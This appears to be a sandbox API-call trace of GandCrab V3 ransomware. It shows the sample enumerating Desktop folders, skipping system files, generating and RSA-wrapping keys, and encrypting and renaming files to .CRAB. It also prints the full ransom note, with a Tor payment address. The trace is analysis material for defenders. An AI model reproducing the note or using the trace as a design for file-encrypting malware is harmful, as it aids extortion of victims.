	[0125.786] CryptGetKeyParam (in: hKey=0x3158fc0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0125.786] CryptEncrypt (in: hKey=0x3158fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0125.786] GetLastError () returned 0x0
	[0125.786] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0125.786] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\4W1rCz2FZaGS9.ots.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\4w1rcz2fzags9.ots.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0125.787] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.787] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.787] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0x18032, lpOverlapped=0x0) returned 1
	[0125.802] VirtualAlloc (lpAddress=0x0, dwSize=0x18040, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.803] VirtualAlloc (lpAddress=0x0, dwSize=0x18040, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0125.806] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.807] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffe7fce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.807] WriteFile (in: hFile=0x3f4, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x18040, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314b464*=0x18040, lpOverlapped=0x0) returned 1
	[0125.807] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.808] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.812] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0125.812] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0125.812] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0125.812] CloseHandle (hObject=0x3f4) returned 1
	[0125.812] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.813] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.813] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.813] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.813] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.814] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.814] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0125.814] lstrcmpW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2=".") returned 1
	[0125.814] lstrcmpW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="..") returned 1
	[0125.814] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="AwzO3zc1AaQ7GHe13MI.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav"
	[0125.814] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.814] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav") returned 86
	[0125.814] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav") returned 86
	[0125.814] lstrlenW (lpString=".wav") returned 4
	[0125.814] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.815] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0125.815] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.815] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav") returned 86
	[0125.815] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav") returned 86
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="desktop.ini") returned -1
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="autorun.inf") returned 1
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="ntuser.dat") returned -1
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="iconcache.db") returned -1
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="bootsect.bak") returned -1
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="boot.ini") returned -1
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="ntuser.dat.log") returned -1
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="thumbs.db") returned -1
	[0125.815] lstrcmpiW (lpString1="AwzO3zc1AaQ7GHe13MI.wav", lpString2="CRAB-DECRYPT.txt") returned -1
	[0125.815] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.816] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB") returned 91
	[0125.816] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\awzo3zc1aaq7ghe13mi.wav")) returned 0x20
	[0125.816] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav", dwFileAttributes=0x20) returned 1
	[0125.816] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\awzo3zc1aaq7ghe13mi.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\awzo3zc1aaq7ghe13mi.wav.crab")) returned 1
	[0125.817] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.817] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB"
	[0125.818] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB.CRAB"
	[0125.818] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0125.818] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.819] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.819] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.819] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0125.819] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0125.819] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.819] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0125.820] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.820] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.820] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0125.820] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.820] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.820] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.821] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.821] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0125.822] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3158d80) returned 1
	[0125.822] CryptGetKeyParam (in: hKey=0x3158d80, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0125.822] CryptEncrypt (in: hKey=0x3158d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0125.822] GetLastError () returned 0x0
	[0125.822] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0125.822] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6ed98) returned 1
	[0125.823] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3158a40) returned 1
	[0125.823] CryptGetKeyParam (in: hKey=0x3158a40, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0125.823] CryptEncrypt (in: hKey=0x3158a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0125.823] GetLastError () returned 0x0
	[0125.823] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.823] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\AwzO3zc1AaQ7GHe13MI.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\awzo3zc1aaq7ghe13mi.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0125.824] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.824] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.824] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0xc0bf, lpOverlapped=0x0) returned 1
	[0125.841] VirtualAlloc (lpAddress=0x0, dwSize=0xc0c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.842] VirtualAlloc (lpAddress=0x0, dwSize=0xc0c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.844] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.844] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff3f41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.845] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xc0c0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0xc0c0, lpOverlapped=0x0) returned 1
	[0125.845] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.845] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.849] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0125.849] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0125.849] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0125.849] CloseHandle (hObject=0x3f4) returned 1
	[0125.849] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.850] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.850] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.850] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.850] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.851] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.851] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0125.851] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0125.851] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0125.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\CRAB-DECRYPT.txt"
	[0125.851] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.851] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\CRAB-DECRYPT.txt") returned 79
	[0125.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\CRAB-DECRYPT.txt") returned 79
	[0125.851] lstrlenW (lpString=".txt") returned 4
	[0125.851] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.852] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0125.852] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\CRAB-DECRYPT.txt") returned 79
	[0125.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\CRAB-DECRYPT.txt") returned 79
	[0125.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0125.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0125.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0125.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0125.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0125.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0125.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0125.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0125.853] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0125.853] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.853] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0125.853] lstrcmpW (lpString1="iDnxkFCeYO", lpString2=".") returned 1
	[0125.853] lstrcmpW (lpString1="iDnxkFCeYO", lpString2="..") returned 1
	[0125.853] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="iDnxkFCeYO" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO"
	[0125.853] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\"
	[0125.853] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.853] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0125.853] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0125.853] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0125.853] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0125.854] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0125.854] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0125.854] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0125.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0125.854] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0125.854] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0125.854] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.854] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\\\CRAB-DECRYPT.txt") returned 91
	[0125.854] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0125.855] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0125.856] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0125.856] CloseHandle (hObject=0x3f4) returned 1
	[0125.856] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.857] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\") returned 74
	[0125.857] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\*"
